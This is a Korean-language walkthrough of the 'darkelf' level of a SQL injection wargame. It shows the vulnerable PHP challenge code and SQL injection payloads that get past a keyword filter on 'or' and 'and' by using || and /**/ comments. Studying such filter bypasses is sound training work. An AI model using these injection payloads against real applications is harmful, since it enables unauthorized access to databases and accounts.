문제 코드

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
  if($result['id'] == 'admin') solve("darkelf");
  highlight_file(__FILE__);
?>

이번 문제는 or, and 문자열이 필터링됩니다. 하지만 SQL 논리 연산자는 문자열 키워드 외에도 기호로 표현할 수 있습니다.

exploit

?pw='||id='admin'%23

URL 인코딩까지 적용하면 다음처럼 보낼 수 있습니다.

?pw=%27||id=%27admin%27%23

최종 쿼리는 아래와 같은 형태가 됩니다.

select id from prob_darkelf where id='guest' and pw=''||id='admin'#'

or를 직접 쓰면 HeHe가 출력되므로 ||로 대체합니다. id='admin' 조건이 참인 행이 반환되면 문제가 풀립니다.

주석을 토큰 구분자로 섞는 풀이

darkelf는 공백을 막는 문제는 아니지만, wolfman처럼 주석이 공백 역할을 할 수 있다는 점을 같이 보여줄 수 있습니다. 단, or, and 문자열은 필터링되므로 논리 연산자는 계속 ||를 사용해야 합니다.

?pw='/**/||/**/id='admin'%23

URL 인코딩을 명확히 적용하면 다음과 같습니다.

?pw=%27%2F%2A%2A%2F||%2F%2A%2A%2Fid=%27admin%27%23

최종 쿼리는 아래와 같은 형태가 됩니다.

select id from prob_darkelf where id='guest' and pw=''/**/||/**/id='admin'#'

/**/는 SQL 주석으로 처리되어 토큰 사이의 구분자처럼 동작하고, ||or 연산자 역할을 합니다.

배운 내용

  • or, and 키워드가 필터링되면 ||, && 같은 대체 논리 연산자를 확인합니다.
  • /**/ 블록 주석은 SQL에서 공백처럼 토큰을 분리하는 데 사용할 수 있습니다.
  • 주석을 섞더라도 필터가 잡는 문자열이 payload 안에 그대로 남아 있으면 차단될 수 있습니다.